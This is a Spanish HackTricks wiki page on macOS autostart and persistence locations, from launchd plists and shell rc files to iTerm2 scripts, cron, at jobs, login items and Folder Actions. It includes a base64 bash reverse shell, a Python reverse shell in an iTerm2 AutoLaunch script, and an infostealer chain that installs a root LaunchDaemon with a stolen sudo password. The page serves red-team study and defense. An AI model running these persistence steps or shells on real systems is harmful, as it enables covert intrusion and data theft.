Inicio automático en macOS

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Esta sección se basa en gran medida en la serie de blogs Beyond the good ol’ LaunchAgents, el objetivo es añadir más Autostart Locations (si es posible), indicar qué técnicas siguen funcionando hoy en día con la última versión de macOS (13.4) y especificar los permisos necesarios.

Sandbox Bypass

Tip

Aquí puedes encontrar ubicaciones de inicio útiles para sandbox bypass que te permiten simplemente ejecutar algo escribiéndolo en un archivo y esperando una acción muy común, una determinada cantidad de tiempo o una acción que normalmente puedes realizar desde dentro de un sandbox sin necesitar permisos root.

Launchd

  • Útil para bypass sandbox:
  • TCC Bypass: 🔴

Ubicaciones

  • /Library/LaunchAgents
  • Trigger: Reboot
  • Root required
  • /Library/LaunchDaemons
  • Trigger: Reboot
  • Root required
  • /System/Library/LaunchAgents
  • Trigger: Reboot
  • Root required
  • /System/Library/LaunchDaemons
  • Trigger: Reboot
  • Root required
  • ~/Library/LaunchAgents
  • Trigger: Relog-in
  • ~/Library/LaunchDemons
  • Trigger: Relog-in

Tip

Como dato interesante, launchd tiene un property list embebido en la sección Mach-o __Text.__config que contiene otros servicios bien conocidos que launchd debe iniciar. Además, estos servicios pueden contener RequireSuccess, RequireRun y RebootOnSuccess, lo que significa que deben ejecutarse y completarse con éxito.

Por supuesto, no puede modificarse debido a la firma de código.

Descripción y Explotación

launchd es el primer proceso ejecutado por el núcleo OX S al iniciar y el último en finalizar al apagar. Debe tener siempre el PID 1. Este proceso leerá y ejecutará las configuraciones indicadas en los plists ASEP en:

  • /Library/LaunchAgents: Agentes por usuario instalados por el administrador
  • /Library/LaunchDaemons: Daemons a nivel sistema instalados por el administrador
  • /System/Library/LaunchAgents: Agentes por usuario provistos por Apple.
  • /System/Library/LaunchDaemons: Daemons a nivel sistema provistos por Apple.

Cuando un usuario inicia sesión, los plists ubicados en /Users/$USER/Library/LaunchAgents y /Users/$USER/Library/LaunchDemons se inician con los permisos del usuario conectado.

La principal diferencia entre agents y daemons es que los agents se cargan cuando el usuario inicia sesión y los daemons se cargan al arrancar el sistema (ya que hay servicios como ssh que necesitan ejecutarse antes de que cualquier usuario acceda al sistema). Además, los agents pueden usar GUI mientras que los daemons deben ejecutarse en segundo plano.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

Hay casos en los que un agente necesita ejecutarse antes de que el usuario inicie sesión, a estos se les llama PreLoginAgents. Por ejemplo, esto es útil para proporcionar tecnología de asistencia en el inicio de sesión. También pueden encontrarse en /Library/LaunchAgents (ver here un ejemplo).

Tip

Los nuevos archivos de configuración de Daemons o Agents se cargarán después del siguiente reinicio o usando launchctl load <target.plist> Es también posible cargar archivos .plist sin esa extensión con launchctl -F <file> (sin embargo esos plist files no se cargarán automáticamente después del reinicio).
También es posible unload con launchctl unload <target.plist> (el proceso al que apunta será terminado),

Para asegurarse de que no existe nada (como un override) que impida que un Agent o Daemon se ejecute, ejecute: sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist

Lista todos los Agents y Daemons cargados por el usuario actual:

launchctl list

Ejemplo de cadena maliciosa LaunchDaemon (reutilización de contraseña)

Un infostealer de macOS reciente reutilizó una captured sudo password para colocar un user agent y un LaunchDaemon con root:

  • Escribe el bucle del agent en ~/.agent y hazlo ejecutable.
  • Genera un plist en /tmp/starter que apunte a ese agent.
  • Reutiliza la contraseña robada con sudo -S para copiarlo en /Library/LaunchDaemons/com.finder.helper.plist, establecer root:wheel y cargarlo con launchctl load.
  • Inicia el agent silenciosamente usando nohup ~/.agent >/dev/null 2>&1 & para desacoplar la salida.
printf '%s\n' "$pw" | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S launchctl load /Library/LaunchDaemons/com.finder.helper.plist
nohup "$HOME/.agent" >/dev/null 2>&1 &

Warning

Si un plist es propiedad de un usuario, incluso si está en carpetas de daemon a nivel del sistema, la tarea se ejecutará como el usuario y no como root. Esto puede prevenir algunos ataques de escalada de privilegios.

Más info sobre launchd

launchd es el primer proceso en modo usuario que se inicia desde el núcleo. El arranque del proceso debe ser exitoso y no puede salir ni fallar. Incluso está protegido contra algunas señales de terminación.

Una de las primeras cosas que launchd hace es iniciar todos los daemons como:

  • Timer daemons basados en tiempo para ejecutarse:
  • atd (com.apple.atrun.plist): Tiene un StartInterval de 30min
  • crond (com.apple.systemstats.daily.plist): Tiene StartCalendarInterval para iniciarse a las 00:15
  • Network daemons como:
  • org.cups.cups-lpd: Escucha en TCP (SockType: stream) con SockServiceName: printer
  • SockServiceName debe ser un puerto o un servicio de /etc/services
  • com.apple.xscertd.plist: Escucha en TCP en el puerto 1640
  • Path daemons que se ejecutan cuando cambia una ruta especificada:
  • com.apple.postfix.master: Chequeando la ruta /etc/postfix/aliases
  • IOKit notifications daemons:
  • com.apple.xartstorageremoted: "com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...
  • Mach port:
  • com.apple.xscertd-helper.plist: Indica en la entrada MachServices el nombre com.apple.xscertd.helper
  • UserEventAgent:
  • Esto es diferente del anterior. Hace que launchd lance apps en respuesta a eventos específicos. Sin embargo, en este caso, el binario principal implicado no es launchd sino /usr/libexec/UserEventAgent. Carga plugins desde la carpeta restringida por SIP /System/Library/UserEventPlugins/ donde cada plugin indica su inicializador en la key XPCEventModuleInitializer o, en el caso de plugins más antiguos, en el dict CFPluginFactories bajo la key FB86416D-6164-2070-726F-70735C216EC0 de su Info.plist.

archivos de inicio del shell

Writeup: https://theevilbit.github.io/beyond/beyond_0001/
Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • Útil para evadir sandbox:
  • TCC Bypass:
  • Pero necesitas encontrar una app con un TCC bypass que ejecute un shell que cargue estos archivos

Ubicaciones

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile
  • Desencadenador: Abrir un terminal con zsh
  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin
  • Desencadenador: Abrir un terminal con zsh
  • Requiere root
  • ~/.zlogout
  • Desencadenador: Cerrar un terminal con zsh
  • /etc/zlogout
  • Desencadenador: Cerrar un terminal con zsh
  • Requiere root
  • Posiblemente más en: man zsh
  • ~/.bashrc
  • Desencadenador: Abrir un terminal con bash
  • /etc/profile (no funcionó)
  • ~/.profile (no funcionó)
  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/
  • Desencadenador: Se esperaba que se activara con xterm, pero no está instalado e incluso después de instalarlo se lanza este error: xterm: DISPLAY is not set

Descripción y explotación

Al iniciar un entorno de shell como zsh o bash, se ejecutan ciertos archivos de inicio. macOS actualmente usa /bin/zsh como shell por defecto. Este shell se accede automáticamente cuando se lanza la aplicación Terminal o cuando un dispositivo es accedido vía SSH. Aunque bash y sh también están presentes en macOS, necesitan ser invocados explícitamente para usarse.

La página de man de zsh, que podemos leer con man zsh, tiene una larga descripción de los archivos de inicio.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

Aplicaciones reabiertas

Caution

Configurar la explotación indicada y cerrar sesión y volver a iniciarla o incluso reiniciar no funcionó para mí para ejecutar la app. (La app no se estaba ejecutando; quizá necesite estar en ejecución cuando se realizan estas acciones)

Análisis: https://theevilbit.github.io/beyond/beyond_0021/

  • Útil para bypass del sandbox:
  • TCC bypass: 🔴

Ubicación

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
  • Trigger: Restart reopening applications

Descripción & Exploitation

All the applications to reopen are inside the plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

So, make the reopen applications launch your own one, you just need to add your app to the list.

The UUID can be found listing that directory or with ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'

To check the applications that will be reopened you can do:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Para agregar una aplicación a esta lista puedes usar:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Preferencias de Terminal

  • Útil para bypass del sandbox:
  • TCC bypass:
  • Terminal suele tener permisos FDA del usuario que lo utiliza

Ubicación

  • ~/Library/Preferences/com.apple.Terminal.plist
  • Desencadenador: Abrir Terminal

Descripción y Explotación

En ~/Library/Preferences se almacenan las preferencias del usuario para las Applications. Algunas de estas preferencias pueden contener una configuración para ejecutar otras aplicaciones/scripts.

Por ejemplo, Terminal puede ejecutar un comando al iniciar:

Esta configuración se refleja en el archivo ~/Library/Preferences/com.apple.Terminal.plist así:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

Entonces, si el plist de las preferencias del terminal en el sistema pudiera ser sobrescrito, la funcionalidad open puede usarse para abrir el terminal y que ese comando se ejecute.

Puedes añadir esto desde la cli con:

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

Terminal Scripts / Other file extensions

  • Útil para eludir el sandbox:
  • TCC bypass:
  • Terminal suele tener permisos FDA del usuario que lo utiliza

Location

  • Anywhere
  • Trigger: Abrir Terminal

Description & Exploitation

Si creas un .terminal script y lo abres, la aplicación Terminal se invocará automáticamente para ejecutar los comandos indicados en él. Si la app Terminal tiene algunos privilegios especiales (como TCC), tu comando se ejecutará con esos privilegios especiales.

Pruébalo con:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

También puedes usar las extensiones .command, .tool, con contenido de scripts de shell regulares y también se abrirán con Terminal.

Caution

Si Terminal tiene Full Disk Access podrá completar esa acción (nota que el comando ejecutado será visible en una ventana de Terminal).

Audio Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0013/
Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • Útil para evadir sandbox:
  • TCC bypass: 🟠
  • Podrías obtener acceso adicional de TCC

Location

  • /Library/Audio/Plug-Ins/HAL
  • Se requiere root
  • Trigger: Reiniciar coreaudiod o el equipo
  • /Library/Audio/Plug-ins/Components
  • Se requiere root
  • Trigger: Reiniciar coreaudiod o el equipo
  • ~/Library/Audio/Plug-ins/Components
  • Trigger: Reiniciar coreaudiod o el equipo
  • /System/Library/Components
  • Se requiere root
  • Trigger: Reiniciar coreaudiod o el equipo

Description

Según los writeups anteriores es posible compilar algunos plugins de audio y lograr que se carguen.

QuickLook Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0028/

  • Útil para evadir sandbox:
  • TCC bypass: 🟠
  • Podrías obtener acceso adicional de TCC

Location

  • /System/Library/QuickLook
  • /Library/QuickLook
  • ~/Library/QuickLook
  • /Applications/AppNameHere/Contents/Library/QuickLook/
  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

Description & Exploitation

Los plugins de QuickLook pueden ejecutarse cuando activas la vista previa de un archivo (pulsa la barra espaciadora con el archivo seleccionado en Finder) y hay instalado un plugin que soporte ese tipo de archivo.

Es posible compilar tu propio plugin de QuickLook, colocarlo en una de las ubicaciones anteriores para que se cargue y luego ir a un archivo compatible y pulsar espacio para activarlo.

Login/Logout Hooks

Caution

Esto no me funcionó, ni con el LoginHook de usuario ni con el LogoutHook de root

Writeup: https://theevilbit.github.io/beyond/beyond_0022/

  • Útil para evadir sandbox:
  • TCC bypass: 🔴

Location

  • Necesitas poder ejecutar algo como defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
  • Ubicado en ~/Library/Preferences/com.apple.loginwindow.plist

Están obsoletos, pero pueden usarse para ejecutar comandos cuando un usuario inicia sesión.

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

Esta configuración se almacena en /Users/$USER/Library/Preferences/com.apple.loginwindow.plist

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

Para eliminarlo:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

La del usuario root está almacenada en /private/var/root/Library/Preferences/com.apple.loginwindow.plist

Conditional Sandbox Bypass

Tip

Aquí puedes encontrar ubicaciones de inicio útiles para sandbox bypass que te permiten simplemente ejecutar algo al escribirlo en un archivo y confiar en condiciones no muy comunes como programas específicos instalados, acciones de usuario “poco comunes” o entornos.

Cron

Writeup: https://theevilbit.github.io/beyond/beyond_0004/

  • Útil para sandbox bypass:
  • Sin embargo, necesitas poder ejecutar el binario crontab
  • O ser root
  • TCC bypass: 🔴

Location

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/
  • Root required for direct write access. No root required if you can execute crontab <file>
  • Trigger: Depende de la tarea de cron

Description & Exploitation

Lista las tareas de cron del usuario actual con:

crontab -l

También puedes ver todos los cron jobs de los usuarios en /usr/lib/cron/tabs/ y /var/at/tabs/ (requiere root).

En MacOS se pueden encontrar varias carpetas que ejecutan scripts con cierta frecuencia en:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

Allí puedes encontrar los cron jobs regulares, los at jobs (poco usados) y los periodic jobs (principalmente usados para limpiar archivos temporales). Los periodic jobs diarios pueden ejecutarse, por ejemplo, con: periodic daily.

Para añadir un user cronjob programatically es posible usar:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Writeup: https://theevilbit.github.io/beyond/beyond_0002/

  • Útil para bypass sandbox:
  • TCC bypass:
  • iTerm2 solía tener permisos TCC concedidos

Locations

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch
  • Trigger: Open iTerm
  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
  • Trigger: Open iTerm
  • ~/Library/Preferences/com.googlecode.iterm2.plist
  • Trigger: Open iTerm

Description & Exploitation

Scripts almacenados en ~/Library/Application Support/iTerm2/Scripts/AutoLaunch serán ejecutados. Por ejemplo:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

o:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

El script ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt también se ejecutará:

do shell script "touch /tmp/iterm2-autolaunchscpt"

Las preferencias de iTerm2 ubicadas en ~/Library/Preferences/com.googlecode.iterm2.plist pueden indicar un comando a ejecutar cuando se abre el terminal de iTerm2.

Esta configuración se puede modificar en las preferencias de iTerm2:

Y el comando se refleja en las preferencias:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

Puedes establecer el comando a ejecutar con:

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

Warning

Es muy probable que existan otras formas de abusar de las preferencias de iTerm2 para ejecutar comandos arbitrarios.

xbar

Análisis: https://theevilbit.github.io/beyond/beyond_0007/

  • Útil para bypass del sandbox:
  • Pero xbar debe estar instalado
  • TCC bypass:
  • Solicita permisos de Accessibility

Ubicación

  • ~/Library/Application\ Support/xbar/plugins/
  • Disparador: Cuando se ejecute xbar

Descripción

Si el popular programa xbar está instalado, es posible escribir un shell script en ~/Library/Application\ Support/xbar/plugins/ que se ejecutará cuando xbar se inicie:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

Informe: https://theevilbit.github.io/beyond/beyond_0008/

  • Útil para evadir el sandbox:
  • Pero Hammerspoon debe estar instalado
  • Bypass de TCC:
  • Solicita permisos de Accesibilidad

Ubicación

  • ~/.hammerspoon/init.lua
  • Disparador: Una vez que hammerspoon se ejecute

Descripción

Hammerspoon sirve como una plataforma de automatización para macOS, aprovechando el lenguaje de scripting LUA para sus operaciones. Notablemente, soporta la integración de código completo de AppleScript y la ejecución de shell scripts, ampliando significativamente sus capacidades de scripting.

La aplicación busca un único archivo, ~/.hammerspoon/init.lua, y cuando se inicia el script se ejecuta.

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • Útil para bypass sandbox:
  • Pero BetterTouchTool debe estar instalado
  • TCC bypass:
  • Solicita los permisos Automation-Shortcuts y Accessibility

Ubicación

  • ~/Library/Application Support/BetterTouchTool/*

Esta herramienta permite indicar aplicaciones o scripts para ejecutar cuando se presionan algunos atajos. Un atacante podría ser capaz de configurar su propio shortcut and action to execute in the database para hacer que ejecute código arbitrario (un shortcut podría ser simplemente presionar una tecla).

Alfred

  • Útil para bypass sandbox:
  • Pero Alfred debe estar instalado
  • TCC bypass:
  • Solicita permisos Automation, Accessibility e incluso Full-Disk access

Ubicación

  • ???

Permite crear workflows que pueden ejecutar código cuando se cumplen ciertas condiciones. Potencialmente es posible que un atacante cree un archivo de workflow y haga que Alfred lo cargue (es necesario pagar la versión premium para usar workflows).

SSHRC

Writeup: https://theevilbit.github.io/beyond/beyond_0006/

  • Útil para bypass sandbox:
  • Pero ssh necesita estar habilitado y usado
  • TCC bypass:
  • SSH solía tener acceso FDA

Ubicación

  • ~/.ssh/rc
  • Disparador: Inicio de sesión vía ssh
  • /etc/ssh/sshrc
  • Root required
  • Disparador: Inicio de sesión vía ssh

Caution

Para activar ssh se requiere Full Disk Access:

sudo systemsetup -setremotelogin on

Descripción y Explotación

Por defecto, a menos que PermitUserRC no en /etc/ssh/sshd_config, cuando un usuario inicia sesión vía SSH se ejecutarán los scripts /etc/ssh/sshrc y ~/.ssh/rc.

Login Items

Writeup: https://theevilbit.github.io/beyond/beyond_0003/

  • Útil para bypass sandbox:
  • Pero necesitas ejecutar osascript con argumentos
  • TCC bypass: 🔴

Ubicaciones

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent
  • Disparador: Login
  • Exploit payload stored calling osascript
  • /var/db/com.apple.xpc.launchd/loginitems.501.plist
  • Disparador: Login
  • Root required

Descripción

En System Preferences -> Users & Groups -> Login Items puedes encontrar items que se ejecutan cuando el usuario inicia sesión.
Es posible listarlos, agregarlos y eliminarlos desde la línea de comandos:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

Estos elementos se almacenan en el archivo ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

Login items también pueden ser indicados usando la API SMLoginItemSetEnabled que almacenará la configuración en /var/db/com.apple.xpc.launchd/loginitems.501.plist

ZIP como Login Item

(Consulta la sección anterior sobre Login Items, esto es una extensión)

Si almacenas un archivo ZIP como un Login Item el Archive Utility lo abrirá y si el zip, por ejemplo, fue almacenado en ~/Library y contenía la carpeta LaunchAgents/file.plist con un backdoor, esa carpeta será creada (no lo está por defecto) y el plist será añadido, de modo que la próxima vez que el usuario inicie sesión, el backdoor indicado en el plist será ejecutado.

Otra opción sería crear los archivos .bash_profile y .zshenv dentro del HOME del usuario, de modo que si la carpeta LaunchAgents ya existe esta técnica aún funcionaría.

At

Writeup: https://theevilbit.github.io/beyond/beyond_0014/

  • Útil para bypass de sandbox:
  • Pero necesitas ejecutar at y debe estar habilitado
  • TCC bypass: 🔴

Ubicación

  • Necesitas ejecutar at y debe estar habilitado

Descripción

Las tareas at están diseñadas para programar tareas únicas que se ejecutan en determinados momentos. A diferencia de los cron jobs, las tareas at se eliminan automáticamente después de la ejecución. Es crucial notar que estas tareas son persistentes a través de reinicios del sistema, lo que las convierte en posibles problemas de seguridad en ciertas condiciones.

Por defecto están deshabilitadas, pero el usuario root puede habilitarlas con:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

Esto creará un archivo en 1 hora:

echo "echo 11 > /tmp/at.txt" | at now+1

Comprueba la cola de trabajos usando atq:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

Arriba podemos ver dos trabajos programados. Podemos imprimir los detalles del trabajo usando at -c JOBNUMBER

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

Warning

Si las AT tasks no están habilitadas, las tareas creadas no se ejecutarán.

Los archivos de job se encuentran en /private/var/at/jobs/

sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r--  1 root  wheel    6 Apr 27 00:46 .SEQ
-rw-------  1 root  wheel    0 Apr 26 23:17 .lockfile
-r--------  1 root  wheel  803 Apr 27 00:46 a00019019bdcd2
-rwx------  1 root  wheel  803 Apr 27 00:46 a0001a019bdcd2

El nombre del archivo contiene la cola, el número del trabajo y la hora en que está programado para ejecutarse. Por ejemplo, veamos a0001a019bdcd2.

  • a - esta es la cola
  • 0001a - número de trabajo en hex, 0x1a = 26
  • 019bdcd2 - tiempo en hex. Representa los minutos transcurridos desde el epoch. 0x019bdcd2 es 26991826 en decimal. Si lo multiplicamos por 60 obtenemos 1619509560, que es GMT: 2021. April 27., Tuesday 7:46:00.

Si imprimimos el archivo del trabajo, encontramos que contiene la misma información que obtuvimos usando at -c.

Folder Actions

Writeup: https://theevilbit.github.io/beyond/beyond_0024/
Writeup: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d

  • Útil para evadir el sandbox:
  • Pero necesitas poder llamar a osascript con argumentos para contactar con System Events y así poder configurar Folder Actions
  • TCC bypass: 🟠
  • Tiene algunos permisos básicos de TCC como Desktop, Documents y Downloads

Ubicación

  • /Library/Scripts/Folder Action Scripts
  • Se requiere root
  • Trigger: Acceso a la carpeta especificada
  • ~/Library/Scripts/Folder Action Scripts
  • Trigger: Acceso a la carpeta especificada

Descripción & Explotación

Folder Actions son scripts que se disparan automáticamente por cambios en una carpeta, como añadir o eliminar elementos, u otras acciones como abrir o redimensionar la ventana de la carpeta. Estas acciones pueden utilizarse para diversas tareas y pueden activarse de diferentes maneras, por ejemplo usando la Finder UI o comandos de terminal.

Para configurar Folder Actions, tienes opciones como:

  1. Crear un flujo de trabajo de Folder Action con Automator e instalarlo como un servicio.
  2. Adjuntar un script manualmente mediante Folder Actions Setup en el menú contextual de una carpeta.
  3. Utilizar OSAScript para enviar mensajes Apple Event a System Events.app y así configurar programáticamente un Folder Action.
  • Este método es particularmente útil para incrustar la acción en el sistema, ofreciendo un nivel de persistencia.

El siguiente script es un ejemplo de lo que puede ejecutar un Folder Action:

// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

Para que el script anterior sea usable por Folder Actions, compílalo usando:

osacompile -l JavaScript -o folder.scpt source.js

Después de compilar el script, configure Folder Actions ejecutando el script siguiente. Este script habilitará Folder Actions globalmente y adjuntará específicamente el script compilado anteriormente a la carpeta Desktop.

// Enabling and attaching Folder Action
var se = Application("System Events")
se.folderActionsEnabled = true
var myScript = se.Script({ name: "source.js", posixPath: "/tmp/source.js" })
var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" })
se.folderActions.push(fa)
fa.scripts.push(myScript)

Ejecute el script de configuración con:

osascript -l JavaScript /Users/username/attach.scpt
  • Esta es la forma de implementar esta persistencia vía GUI:

Este es el script que se ejecutará:

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

Compílalo con: osacompile -l JavaScript -o folder.scpt source.js

Muévelo a:

mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"

Luego, abre la aplicación Folder Actions Setup, selecciona la carpeta que te gustaría vigilar y selecciona en tu caso folder.scpt (en mi caso la llamé output2.scp):

Ahora, si abres esa carpeta con Finder, tu script se ejecutará.

Esta configuración se almacenó en el plist ubicado en ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist en formato base64.

Ahora, intentemos preparar esta persistencia sin acceso a la GUI:

  1. Copia ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist a /tmp para hacer un respaldo:
  • cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
  1. Elimina las Folder Actions que acabas de configurar:

Ahora que tenemos un entorno vacío

  1. Copia el archivo de respaldo: cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/
